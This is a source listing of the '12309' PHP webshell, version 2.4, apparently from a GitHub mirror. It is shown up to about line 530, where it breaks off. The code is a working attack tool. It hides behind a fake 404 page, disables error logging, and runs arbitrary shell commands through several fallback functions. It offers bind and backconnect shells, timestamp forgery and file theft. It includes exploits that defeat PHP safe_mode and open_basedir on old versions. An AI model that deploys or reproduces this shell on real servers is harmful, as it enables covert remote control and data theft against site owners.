PageRenderTime 67ms CodeModel.GetById 24ms RepoModel.GetById 0ms app.codeStats 0ms

/12309.php

http://github.com/kairn/12309.php
PHP | 2066 lines | 2018 code | 0 blank | 48 comment | 424 complexity | 967dc4a0d0f104b52cd5fcd9581c9e06 MD5 | raw file
    

  1. <?php
    2. 

  2. //th1s 1s ultr4l33t php websh3ll || uz3 1t f0r 3duc4t10n4l purp0zes 0nly :P
    3. 

  3. if(isset($_GET['pfs'])) {
    4. 

  4.  if(empty($_GET['path'])) {
    5. 

  5.   $path="./";
    6. 

  6.  } else {
    7. 

  7.   $path=$_GET['path'];
    8. 

  8.  }
    9. 

  9.  findsock($path);
    10. 

  10. }
    11. 

  11. @session_start();
    12. 

  12. if(isset($_REQUEST['l0g1n'])) {
    13. 

  13.  $_SESSION['l0g1n']=session_id();;
    14. 

  14. }
    15. 

  15. if(!isset($_SESSION['l0g1n'])) {
    16. 

  16.  header("Location: http://".$_SERVER['SERVER_NAME']."/404.html");
    17. 

  17. }
    18. 

  18. $ver="2.4";
    19. 

  19. // --------------------------------------------- globals 
    20. 

  20. @ini_set('display_errors',0);
    21. 

  21. @ini_set('log_errors',0);
    22. 

  22. @error_reporting(0);
    23. 

  23. @set_time_limit(0);
    24. 

  24. @ignore_user_abort(1);
    25. 

  25. @ini_set('max_execution_time',0);
    26. 

  26. $pageend='</body></html>';
    27. 

  27. $htaccesses=array('cgi' => "Options +Indexes +FollowSymLinks +ExecCGI\nAddType application/x-httpd-cgi .pl .py", 'ssi' => "Options +Includes\nAddType text/html .shtml\nAddHandler server-parsed .shtml\nAddOutputFilter INCLUDES .shtml");
    28. 

  28. if($_POST['action']!="") {
    29. 

  29.  $_SESSION['action']=$_POST['action'];
    30. 

  30.  $action=$_SESSION['action'];
    31. 

  31. } else {
    32. 

  32.  $action="viewer";
    33. 

  33. }
    34. 

  34. // download file or command execution result
    35. 

  35. if($action=="download" or $_POST["down"]=="on") {
    36. 

  36.  $download="1";
    37. 

  37. }
    38. 

  38. if ($download == "1") {
    39. 

  39.  if (isset($_POST["file"])) {
    40. 

  40.   header('Content-Length:'.filesize($_POST["file"]).'');
    41. 

  41.  }
    42. 

  42.  header("Content-Type: application/force-download");
    43. 

  43.  header("Content-Type: application/octet-stream");
    44. 

  44.  header("Accept-Ranges: bytes");
    45. 

  45.  if (isset($_POST["filename"])) {
    46. 

  46.   header('Content-Disposition: attachment; filename="'.$_POST["filename"].'"');
    47. 

  47.  } elseif (isset($_POST["file"])) {
    48. 

  48.   header('Content-Disposition: attachment; filename="'.$_POST["file"].'"');
    49. 

  49.  } else {
    50. 

  50.   header('Content-Disposition: attachment; filename="result.txt"');
    51. 

  51.  }
    52. 

  52. }
    53. 

  53. @set_magic_quotes_runtime(0);
    54. 

  54. @ini_set("magic_quotes_runtime", 0);
    55. 

  55. // slashes fix by r00nix
    56. 

  56. if (get_magic_quotes_gpc()) {
    57. 

  57.  function stripslashes_deep($value) {
    58. 

  58.   $value = is_array($value) ?
    59. 

  59.    array_map('stripslashes_deep', $value) :
    60. 

  60.    stripslashes($value);
    61. 

  61.   return $value;
    62. 

  62.  }
    63. 

  63.  $_POST = array_map('stripslashes_deep', $_POST);
    64. 

  64.  $_GET = array_map('stripslashes_deep', $_GET);
    65. 

  65.  $_COOKIE = array_map('stripslashes_deep', $_COOKIE);
    66. 

  66.  $_REQUEST = array_map('stripslashes_deep', $_REQUEST);
    67. 

  67. }
    68. 

  68. $descriptorspec = array(
    69. 

  69.  0 => array("pipe", "r"),
    70. 

  70.  1 => array("pipe", "w"),
    71. 

  71.  2 => array("pipe", "w")
    72. 

  72. );
    73. 

  73. $helpscript='function showTooltip(id)
    74. 

  74. {
    75. 

  75.  var myDiv = document.getElementById(id);
    76. 

  76.  if(myDiv.style.display == "none"){
    77. 

  77.   myDiv.style.display = "block";
    78. 

  78.  } else {
    79. 

  79.   myDiv.style.display = "none";
    80. 

  80.  }
    81. 

  81.  return false;
    82. 

  82. }';
    83. 

  83. $resizescript='function changeSize(elem){
    84. 

  84.  if(event.keyCode==13){
    85. 

  85.   elem.rows = elem.rows+1;
    86. 

  86.  }
    87. 

  87.  var oldrows = getrows(elem);
    88. 

  88.  var myTxtAreaSize = elem.value.length;
    89. 

  89.  var newrows = (myTxtAreaSize / 80 | 0)+1;
    90. 

  90.  if(newrows>oldrows){
    91. 

  91.   elem.rows = newrows;
    92. 

  92.  } else {
    93. 

  93.   elem.rows = oldrows;
    94. 

  94.  }
    95. 

  95. }
    96. 

  96. function getrows(elem){
    97. 

  97.  var text = elem.value.replace(/\s+$/g, "\n");
    98. 

  98.  var aNewlines = text.split("\n");
    99. 

  99.  var iNewlineCount = aNewlines.length;
    100. 

  100.  return iNewlineCount;
    101. 

  101. }';
    102. 

  102. $design='function cleard() {
    103. 

  103.  document.cookie="d=c; path=/;";
    104. 

  104.  window.location.reload();
    105. 

  105. }
    106. 

  106. function blackd() {
    107. 

  107.  document.cookie="d=b; path=/;";
    108. 

  108.  window.location.reload();
    109. 

  109. }';
    110. 

  110. if ($_COOKIE['d'] != "c") {
    111. 

  111.  $style='<style type="text/css">
    112. 

  112.  a {
    113. 

  113.   color: yellow;
    114. 

  114.   text-decoration: none;
    115. 

  115.   text-shadow: black 0px 0px 4px;
    116. 

  116.  }
    117. 

  117.  input {
    118. 

  118.   background-color: #303030;
    119. 

  119.   color: #73ba25; /* guess why */
    120. 

  120.   border: none;
    121. 

  121.  }
    122. 

  122.  textarea {
    123. 

  123.   background-color: #303030; 
    124. 

  124.   color: #73ba25;
    125. 

  125.   border: none;
    126. 

  126.  }
    127. 

  127.  input[type="submit"] {
    128. 

  128.   background-color: gray;
    129. 

  129.   color: white;
    130. 

  130.  }
    131. 

  131.  select {
    132. 

  132.   background-color: black; 
    133. 

  133.   color: yellow;
    134. 

  134.  }
    135. 

  135.  body {
    136. 

  136.   background-color: black;
    137. 

  137.   color: white; 
    138. 

  138.  }
    139. 

  139.  </style>';
    140. 

  140. } else {
    141. 

  141.  $style='';
    142. 

  142. }
    143. 

  143. if ($_COOKIE['d'] == "c") {
    144. 

  144.  $button='<input type="button" value="black style" onclick="blackd()"></span><br><br>';
    145. 

  145.  } else {
    146. 

  146.  $button='<input type="button" value="clear style" onclick="cleard()"></span><br><br>';
    147. 

  147. }
    148. 

  148. $title='<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
    149. 

  149. <!-- made by 12309 || cheerz to Tidus, Shift, pekayoba, Zer0, ForeverFree, r00nix and all people whose code i borrowed || exploit.in f0r3v4 -->
    150. 

  150. <html>
    151. 

  151.  <head>
    152. 

  152.   <title>12309 '.$ver.'</title>
    153. 

  153.   <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">'.$style.'</head><body><script type="text/javascript">'.$helpscript.''.$resizescript.''.$design.'</script><span style="float:left;"><form name="page" method="post" action="'.$_SERVER["PHP_SELF"].'"><input name="p" type="hidden" value=""></form><b><a href="#" onclick=\'document.page.p.value="f";document.page.submit();\'>file operations</a></b> || <b><a href="#" onclick=\'document.page.p.value="s";document.page.submit();\'>execute command</a></b> || <b><a href="#" onclick=\'document.page.p.value="b";document.page.submit();\'>bind/backconnect</a></b> || <b><a href="#" onclick=\'document.page.p.value="e";document.page.submit();\'>extras</a></b></span><span style="float: right;">'.$button.'';
    154. 

  154. // --------------------------------------------- symbolic permissions 
    155. 

  155. function fperms($file,$request) {
    156. 

  156.  $perms = fileperms($file);
    157. 

  157.  if (($perms & 0xC000) == 0xC000) {$info = 's';}
    158. 

  158.  elseif (($perms & 0xA000) == 0xA000) {$info = 'l';} 
    159. 

  159.  elseif (($perms & 0x8000) == 0x8000) {$info = '-';}
    160. 

  160.  elseif (($perms & 0x6000) == 0x6000) {$info = 'b';}
    161. 

  161.  elseif (($perms & 0x4000) == 0x4000) {$info = 'd';}
    162. 

  162.  elseif (($perms & 0x2000) == 0x2000) {$info = 'c';}
    163. 

  163.  elseif (($perms & 0x1000) == 0x1000) {$info = 'p';}
    164. 

  164.  else {$info = '?';}
    165. 

  165.  if ($request == "string") {
    166. 

  166.   $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-'));
    167. 

  167.   $info .= (($perms & 0x0020) ? 'r' : '-');$info .= (($perms & 0x0010) ? 'w' : '-');$info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-'));
    168. 

  168.   $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-');$info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-'));
    169. 

  169.   return $info;
    170. 

  170.  } elseif ($request == "array") {
    171. 

  171.   $o["r"] = ($perms & 00400) > 0; $o["w"] = ($perms & 00200) > 0; $o["x"] = ($perms & 00100) > 0;
    172. 

  172.   $g["r"] = ($perms & 00040) > 0; $g["w"] = ($perms & 00020) > 0; $g["x"] = ($perms & 00010) > 0;
    173. 

  173.   $w["r"] = ($perms & 00004) > 0; $w["w"] = ($perms & 00002) > 0; $w["x"] = ($perms & 00001) > 0;
    174. 

  174.   return array("t"=>$info,"o"=>$o,"g"=>$g,"w"=>$w);
    175. 

  175.  } else {
    176. 

  176.   return "request?";
    177. 

  177.  }
    178. 

  178. }
    179. 

  179. function view_perms_color($file) {
    180. 

  180.  if (!is_readable($file)) {
    181. 

  181.   return "<font color=red>".fperms($file,"string")."</font>";
    182. 

  182.  } elseif (!is_writable($file)) {
    183. 

  183.   return "<font color=white>".fperms($file,"string")."</font>";
    184. 

  184.  } else {
    185. 

  185.   return "<font color=green>".fperms($file,"string")."</font>";
    186. 

  186.  }
    187. 

  187. }
    188. 

  188. // --------------------------------------------- touch file
    189. 

  189. function touchz($file) {
    190. 

  190.  $form=TRUE;
    191. 

  191.  if (isset($_POST["touch_submit"])) {
    192. 

  192.   $date=explode(" ",$_POST["time"]);
    193. 

  193.   $day=explode("-",$date[0]);
    194. 

  194.   $time=explode(":",$date[1]);
    195. 

  195.   $unixtime=mktime($time[0],$time[1],$time[2],$day[1],$day[2],$day[0]);
    196. 

  196.   if (touch($file,$unixtime,$unixtime)) {
    197. 

  197.    $form = FALSE;
    198. 

  198.    echo "<br>touched ".$file." to ".$unixtime." (".$_POST["time"].") <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
    199. 

  199.   } else {
    200. 

  200.    echo "<br>can't touch to ".$unixtime." (".$_POST["time"].")! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
    201. 

  201.   }
    202. 

  202.  }
    203. 

  203.  if ($form) {
    204. 

  204.   echo "<br><form action=\"".$_SERVER['PHP_SELF']."\" method=\"POST\">
    205. 

  205.   <input type=\"hidden\" name=\"p\" value=\"f\">
    206. 

  206.   <input type=\"hidden\" name=\"file\" value=\"".$file."\">
    207. 

  207.   <input type=\"hidden\" name=\"action\" value=\"touch\">
    208. 

  208.   <input type=\"hidden\" name=\"dir\" value=\"".$_POST["dir"]."\">
    209. 

  209.   touch ".$file." to: <input name=\"time\" type=\"text\" maxlength=\"19\" size=\"19\" value=\"".date("Y-m-d H:i:s",filemtime($file))."\">
    210. 

  210.   <tr><td><input type=\"submit\" name=\"touch_submit\" value=\"Touch\"></td></tr>
    211. 

  211.   </table></form>";
    212. 

  212.  }
    213. 

  213.  return TRUE;
    214. 

  214. }
    215. 

  215. // --------------------------------------------- chmod code from c99 shell, updated by 12309
    216. 

  216. function chmodz($file) {
    217. 

  217.  $check = fileperms($file);
    218. 

  218.  if (!$check) {echo "<b>chmod error: can`t get current value!</b>";}
    219. 

  219.  else {
    220. 

  220.   $form=TRUE;
    221. 

  221.   if (isset($_POST["chmod_submit"])) {
    222. 

  222.    $chmod_o=$_POST["chmod_o"];
    223. 

  223.    $chmod_g=$_POST["chmod_g"];
    224. 

  224.    $chmod_w=$_POST["chmod_w"];
    225. 

  225.    $octet=trim("0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8));
    226. 

  226.    if (chmod($file,octdec($octet))) {
    227. 

  227.     $form = FALSE; 
    228. 

  228.     echo "chmoded ".$file." to ".$octet."! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
    229. 

  229.    } else { 
    230. 

  230.     echo "can't chmod to ".$octet."! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
    231. 

  231.    }
    232. 

  232.   }
    233. 

  233.   if (isset($_POST["chmod_string"])) {
    234. 

  234.    if (chmod($file,octdec($_POST["string"]))) {
    235. 

  235.     $form = FALSE;
    236. 

  236.     echo "chmoded ".$file." to ".$_POST["string"]."! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
    237. 

  237.    } else { 
    238. 

  238.     echo "can't chmod to ".$_POST["string"]."! <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a><br><br>";
    239. 

  239.    }
    240. 

  240.   }
    241. 

  241.   if ($form) {
    242. 

  242.    $perms = fperms($file,"array");
    243. 

  243.    echo "<br>chmoding ".$file.": ".view_perms_color($file)." (".substr(decoct($check),-4,4).") owned by: <br>".owner($file)."<br>
    244. 

  244.    <br>input string: <form action=\"".$_SERVER['PHP_SELF']."\" method=\"POST\">
    245. 

  245.    <input type=\"hidden\" name=\"p\" value=\"f\">
    246. 

  246.    <input type=\"hidden\" name=\"file\" value=\"".$file."\">
    247. 

  247.    <input type=\"hidden\" name=\"action\" value=\"chmod\">
    248. 

  248.    <input type=\"hidden\" name=\"dir\" value=\"".$_POST["dir"]."\">
    249. 

  249.    <input type=\"text\" name=\"string\" maxlength=\"4\" size=\"4\" value=\"".substr(decoct($check),-4,4)."\">
    250. 

  250.    <input type=\"submit\" name=\"chmod_string\" value=\"Save\"></form>";
    251. 

  251.    echo "<br> or select checkboxes:<br><form action=\"".$_SERVER['PHP_SELF']."\" method=\"POST\">
    252. 

  252.    <input type=\"hidden\" name=\"p\" value=\"f\">
    253. 

  253.    <input type=\"hidden\" name=\"file\" value=\"".$file."\">
    254. 

  254.    <input type=\"hidden\" name=\"action\" value=\"chmod\">
    255. 

  255.    <input type=\"hidden\" name=\"dir\" value=\"".$_POST["dir"]."\">
    256. 

  256.    <table align=\"left\" width=\"300\" border=\"0\" cellspacing=\"0\" cellpadding=\"5\">
    257. 

  257.    <tr>
    258. 

  258.     <td><b>Owner</b><br>
    259. 

  259.      <input type=\"checkbox\" name=\"chmod_o[r]\" value=\"1\"".($perms["o"]["r"]?" checked":"")."> read<br>
    260. 

  260.      <input type=\"checkbox\" name=\"chmod_o[w]\" value=\"1\"".($perms["o"]["w"]?" checked":"")."> write<br>
    261. 

  261.      <input type=\"checkbox\" name=\"chmod_o[x]\" value=1".($perms["o"]["x"]?" checked":"")."> execute
    262. 

  262.     </td>
    263. 

  263.     <td><b>Group</b><br>
    264. 

  264.      <input type=\"checkbox\" name=\"chmod_g[r]\" value=\"1\"".($perms["g"]["r"]?" checked":"")."> read<br>
    265. 

  265.      <input type=\"checkbox\" name=\"chmod_g[w]\" value=\"1\"".($perms["g"]["w"]?" checked":"")."> write<br>
    266. 

  266.      <input type=\"checkbox\" name=\"chmod_g[x]\" value=\"1\"".($perms["g"]["x"]?" checked":"")."> execute
    267. 

  267.     </td>
    268. 

  268.     <td><b>World</b><br>
    269. 

  269.      <input type=\"checkbox\" name=\"chmod_w[r]\" value=\"1\"".($perms["w"]["r"]?" checked":"")."> read<br>
    270. 

  270.      <input type=\"checkbox\" name=\"chmod_w[w]\" value=\"1\"".($perms["w"]["w"]?" checked":"")."> write<br>
    271. 

  271.      <input type=\"checkbox\" name=\"chmod_w[x]\" value=\"1\"".($perms["w"]["x"]?" checked":"")."> execute
    272. 

  272.     </td>
    273. 

  273.    </tr>
    274. 

  274.    <tr><td><input type=\"submit\" name=\"chmod_submit\" value=\"Save\"></td></tr>
    275. 

  275.    </table></form>";
    276. 

  276.   }
    277. 

  277.  }
    278. 

  278.  return TRUE;
    279. 

  279. }
    280. 

  280. // --------------------------------------------- clearing phpversion() 
    281. 

  281. function version() {
    282. 

  282.  $pv=explode(".",phpversion());
    283. 

  283.  if(eregi("-",$pv[2])) {
    284. 

  284.   $tmp=explode("-",$pv[2]);
    285. 

  285.   $pv[2]=$tmp[0];
    286. 

  286.  }
    287. 

  287.  $php_version_sort=$pv[0].".".$pv[1].".".$pv[2];
    288. 

  288.  return $php_version_sort;
    289. 

  289. }
    290. 

  290. // --------------------------------------------- recursive dir removal by Endeveit
    291. 

  291. function rmrf($dir)
    292. 

  292. {
    293. 

  293.  if ($objs = glob($dir."/*")) {
    294. 

  294.   foreach($objs as $obj) {
    295. 

  295.    is_dir($obj) ? rmrf($obj) : unlink($obj);
    296. 

  296.   }
    297. 

  297.  }
    298. 

  298.  if (rmdir($dir)) {
    299. 

  299.   return TRUE;
    300. 

  300.  } else {
    301. 

  301.   return FALSE;
    302. 

  302.  }
    303. 

  303. }
    304. 

  304. // --------------------------------------------- checking for enabled funcs
    305. 

  305. function function_enabled($func) {
    306. 

  306.  $disabled=explode(",",@ini_get("disable_functions")); 
    307. 

  307.  if (empty($disabled)) { 
    308. 

  308.   $disabled=array(); 
    309. 

  309.  } 
    310. 

  310.  else {  
    311. 

  311.   $disabled=array_map('trim',array_map('strtolower',$disabled)); 
    312. 

  312.  } 
    313. 

  313.  return (function_exists($func) && is_callable($func) && !in_array($func,$disabled) ); 
    314. 

  314. }
    315. 

  315. if (!function_enabled('shell_exec') and !function_enabled('proc_open') and !function_enabled('passthru') and !function_enabled('system') and !function_enabled('exec') and !function_enabled('popen')) {
    316. 

  316.  $failflag="1";
    317. 

  317. } else {
    318. 

  318.  $failflag="0";
    319. 

  319. }
    320. 

  320. // -------------------------------------------- run command
    321. 

  321. function run($c) {
    322. 

  322.  if (function_enabled('shell_exec')) {
    323. 

  323.   shell_exec($c);
    324. 

  324.  } else if(function_enabled('system')) {
    325. 

  325.   system($c);
    326. 

  326.  } else if(function_enabled('passthru')) {
    327. 

  327.   passthru($c);
    328. 

  328.  } else if(function_enabled('exec')) {
    329. 

  329.   exec($c);
    330. 

  330.  } else if(function_enabled('popen')) {
    331. 

  331.   $fp=popen($c,'r');
    332. 

  332.   @pclose($fp);
    333. 

  333.  } else if(function_enabled('proc_open')) {
    334. 

  334.   $handle=proc_open($c,$GLOBALS["descriptorspec"],$pipes);
    335. 

  335.   while (!feof($pipes[1])) {
    336. 

  336.    $buffer.=fread($pipes[1],1024);
    337. 

  337.   }
    338. 

  338.   @proc_close($handle);
    339. 

  339.  }
    340. 

  340. }
    341. 

  341. // -------------------------------------------- php <= 5.2.9 curl bug
    342. 

  342. function sploent529($path) {
    343. 

  343.  if (!is_dir('file:')) {
    344. 

  344.   mkdir('file:');
    345. 

  345.  }
    346. 

  346.  $dirz=array();
    347. 

  347.  $a=array();
    348. 

  348.  $a=explode('/',$path);
    349. 

  349.  $c=count($a);
    350. 

  350.  $dir='file:/';
    351. 

  351.  $d=substr($dir,0,-1);
    352. 

  352.  if (!is_dir($d)) {
    353. 

  353.   mkdir($d); 
    354. 

  354.  }
    355. 

  355.  for ($i=0;$i<$c-1;++$i) {
    356. 

  356.   $dir.=$a[$i].'/';
    357. 

  357.   $d=substr($dir,0,-1);
    358. 

  358.   $dirz[]=$d;
    359. 

  359.   if (!is_dir($d)) {
    360. 

  360.    mkdir($d); 
    361. 

  361.   } 
    362. 

  362.  }
    363. 

  363.  if (!file_exists($path)) {
    364. 

  364.   $fp=fopen('file:/'.$path,'w');
    365. 

  365.   fclose($fp); 
    366. 

  366.  }
    367. 

  367.  $ch=curl_init();
    368. 

  368.  curl_setopt($ch,CURLOPT_URL,'file:file:////'.$path);
    369. 

  369.  curl_setopt($ch,CURLOPT_HEADER,0);
    370. 

  370.  if(FALSE==curl_exec($ch)) {
    371. 

  371.   echo ("    fail :( either there is no such file or exploit failed ");
    372. 

  372.   curl_close($ch);
    373. 

  373.   rmrf('file:');
    374. 

  374.   echo $pageend;
    375. 

  375.   die();
    376. 

  376.  } else {
    377. 

  377.   curl_close($ch);
    378. 

  378.   rmrf('file:');
    379. 

  379.   return TRUE;
    380. 

  380.  }
    381. 

  381. }
    382. 

  382. // --------------------------------------------- php 5.1.6 ini_set bug
    383. 

  383. function sploent516() {
    384. 

  384.  //safe_mode check
    385. 

  385.  if (ini_get("safe_mode") =="1" || ini_get("safe_mode") =="On" || ini_get("safe_mode") ==TRUE) {
    386. 

  386.   ini_restore("safe_mode");
    387. 

  387.   if (ini_get("safe_mode") =="1" || ini_get("safe_mode") =="On" || ini_get("safe_mode") ==TRUE) {
    388. 

  388.    ini_set("safe_mode", FALSE);
    389. 

  389.    ini_set("safe_mode", "Off");
    390. 

  390.    ini_set("safe_mode", "0");
    391. 

  391.    if (ini_get("safe_mode") =="1" || ini_get("safe_mode") =="On" || ini_get("safe_mode") ==TRUE) {
    392. 

  392.     echo "<font color=\"red\">safe mode: ON</font><br>";
    393. 

  393.    } else {
    394. 

  394.     echo "<font color=\"green\">safe mode: OFF</font> || hello php-5.1.6 bugs<br>";
    395. 

  395.    }
    396. 

  396.   } else {
    397. 

  397.    echo "<font color=\"green\">safe mode: OFF</font> || hello php-5.1.6 bugs<br>";
    398. 

  398.   }
    399. 

  399.  } else {
    400. 

  400.   echo "<font color=\"green\">safe mode: OFF</font><br>";
    401. 

  401.  }
    402. 

  402.  //open_basedir check
    403. 

  403.  if (ini_get("open_basedir")=="Off" || ini_get("open_basedir")=="/" || ini_get("open_basedir")==NULL || strtolower(ini_get("open_basedir"))=="none") {
    404. 

  404.   echo "open_basedir: none<br>";
    405. 

  405.  } 
    406. 

  406.  else {
    407. 

  407.   ini_restore("open_basedir");
    408. 

  408.   if (ini_get("open_basedir")=="Off" || ini_get("open_basedir")=="/" || ini_get("open_basedir")==NULL ||  strtolower(ini_get("open_basedir"))=="none") {
    409. 

  409.    echo "open_basedir: none || hello php-5.1.6 bugs<br>";
    410. 

  410.   } 
    411. 

  411.   else {
    412. 

  412.    ini_set('open_basedir', '/'); 
    413. 

  413.    if (ini_get("open_basedir")=="/") {
    414. 

  414.     echo "open_basedir: / || hello php-5.1.6 bugs<br>";
    415. 

  415.    } 
    416. 

  416.    else {
    417. 

  417.     $basedir=TRUE;
    418. 

  418.    echo "open_basedir: ".ini_get("open_basedir");
    419. 

  419.    }
    420. 

  420.   }
    421. 

  421.  }
    422. 

  422. }
    423. 

  423. // --------------------------------------------- findsock
    424. 

  424. function findsock($path) {
    425. 

  425.  $VERSION = "1.0";
    426. 

  426.  echo "findsock start\n  ";
    427. 

  427.  $c="".$path." ".$_SERVER['REMOTE_ADDR']." ".$_SERVER['REMOTE_PORT']."";
    428. 

  428.  run($c);
    429. 

  429.  echo "  exiting\n";
    430. 

  430.  exit();
    431. 

  431. }
    432. 

  432. // --------------------------------------------- search for binary
    433. 

  433. function search($bin,$flag) {
    434. 

  434.  if ($flag=="1") { 
    435. 

  435.   $path="";
    436. 

  436.   return $path;
    437. 

  437.  } else {
    438. 

  438.   if (function_enabled('shell_exec')) {
    439. 

  439.    $path=trim(shell_exec('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in'));
    440. 

  440.   } else if(function_enabled('exec')) {
    441. 

  441.    $path=trim(exec('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in'));
    442. 

  442.   } else if(function_enabled('system')) {
    443. 

  443.    ob_start();
    444. 

  444.    system('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in');
    445. 

  445.    $path=trim(ob_get_contents());
    446. 

  446.    ob_end_clean();
    447. 

  447.   } else if (function_enabled('popen')) { 
    448. 

  448.    $hndl=popen('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in', "r");
    449. 

  449.    $path=trim(stream_get_contents($hndl));
    450. 

  450.    pclose($hndl);
    451. 

  451.   } else if(function_enabled('passthru')) {
    452. 

  452.    ob_start();
    453. 

  453.    passthru('export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin; which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in');
    454. 

  454.    $path=trim(ob_get_contents());
    455. 

  455.    ob_end_clean();
    456. 

  456.   } else if(function_enabled('proc_open')) {
    457. 

  457.   $c='export PATH=$PATH:/bin:/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin && which '.$bin.' 2>&1 | grep -v no.'.$bin.'.in';
    458. 

  458.   $process = proc_open('/bin/sh', $GLOBALS["descriptorspec"], $pipes);
    459. 

  459.   if (is_resource($process)) {
    460. 

  460.    fwrite($pipes[0],$c);
    461. 

  461.    fclose($pipes[0]);
    462. 

  462.    $path=trim(stream_get_contents($pipes[1]));
    463. 

  463.    fclose($pipes[1]);
    464. 

  464.    fclose($pipes[2]);
    465. 

  465.    @proc_close($process);
    466. 

  466.    }
    467. 

  467.   }
    468. 

  468.  }
    469. 

  469.  return $path;
    470. 

  470. }
    471. 

  471. // --------------------------------------------- filemanager code by Grinay, updated by 12309
    472. 

  472. function owner($path) {
    473. 

  473.  $user=fileowner($path);
    474. 

  474.  $group=filegroup($path);
    475. 

  475.  $data=$user;
    476. 

  476.  if(function_enabled('posix_getpwuid')) {
    477. 

  477.   $u=posix_getpwuid($user);
    478. 

  478.   $data.=" (".$u["name"].")";
    479. 

  479.  }
    480. 

  480.  $data.=" <br> ".$group;
    481. 

  481.  if(function_enabled('posix_getgrgid')) {
    482. 

  482.   $g=posix_getgrgid($group);
    483. 

  483.   $data.=" (".$g["name"].")&nbsp;";
    484. 

  484.  }
    485. 

  485.  return $data;
    486. 

  486. }
    487. 

  487. function view_size($size) {
    488. 

  488.  if ($size>=1073741824) { $size=@round($size/1073741824*100)/100 ." GB"; }
    489. 

  489.  elseif ($size>=1048576) { $size=$size." B<br>".@round($size/1048576*100)/100 ." MB"; }
    490. 

  490.  elseif ($size>=1024) { $size=$size." B<br>".@round($size/1024*100)/100 ." KB"; }
    491. 

  491.  else { $size=$size ." B"; }
    492. 

  492.  return $size;
    493. 

  493. }
    494. 

  494. function dirsize($path) { 
    495. 

  495.  $totalsize=0; 
    496. 

  496.  if ($handle=opendir($path)) { 
    497. 

  497.   while (false !== ($file = readdir($handle)))  { 
    498. 

  498.    $nextpath=$path . '/' . $file; 
    499. 

  499.    if ($file!='.' && $file != '..' && !is_link ($nextpath)) { 
    500. 

  500.     if (is_dir($nextpath)) { 
    501. 

  501.      $result=dirsize($nextpath); 
    502. 

  502.      $totalsize+=$result['size']; 
    503. 

  503.     } elseif (is_file($nextpath)) { 
    504. 

  504.      $totalsize+=filesize($nextpath); 
    505. 

  505.     } 
    506. 

  506.    } 
    507. 

  507.   } 
    508. 

  508.  } 
    509. 

  509.  closedir ($handle); 
    510. 

  510.  return $totalsize; 
    511. 

  511. }
    512. 

  512. function scandire($dir) {
    513. 

  513.  if (empty($dir)) { $dir=getcwd(); }
    514. 

  514.  $dir=chdir($dir) or die('<font color="red">cannot chdir!</font> open_basedir/safe_mode on?<br><br>'.$pageend.'');
    515. 

  515.  $dir=getcwd()."/";
    516. 

  516.  $dir=str_replace("\\","/",$dir);
    517. 

  517.  if (is_dir($dir)) {
    518. 

  518.   if ($dh = opendir($dir)) {
    519. 

  519.    while (($file = readdir($dh)) !== false) {
    520. 

  520.     if(filetype($dir.$file)=="dir") $dire[]=$file;
    521. 

  521.     if(filetype($dir.$file)=="file" || filetype($dir.$file)=="link" || filetype($dir.$file)=="socket") $files[]=$file;
    522. 

  522.    // if(filetype($dir.$file)=="") $files[]=$file; //debug: strange behavior of filetype() with openbasedir, it returns ""
    523. 

  523.    // if(filetype($dir.$file)=="link") $files[]=$file;
    524. 

  524.    // echo "file = ".$file." (".filetype($file).")<br>"; #debug
    525. 

  525.    // if (is_link($file)) { echo " -&gt ".readlink($file); }; #debug
    526. 

  526.    }
    527. 

  527.    closedir($dh);
    528. 

  528.    @sort($dire);
    529. 

  529.    @sort($files);
    530. 

  530.    echo "<table border>";
    531. 

  531.    echo '<tr><td><form method="post" action="'.$_SERVER['PHP_SELF'].'"><input name="p" type="hidden" value="f">go to dir:<input type="text" name="dir" value="'.$dir.'" size="30"><input name="action" type="hidden" value="viewer"><input type="submit" value="Go"></form></td></tr>';
    532. 

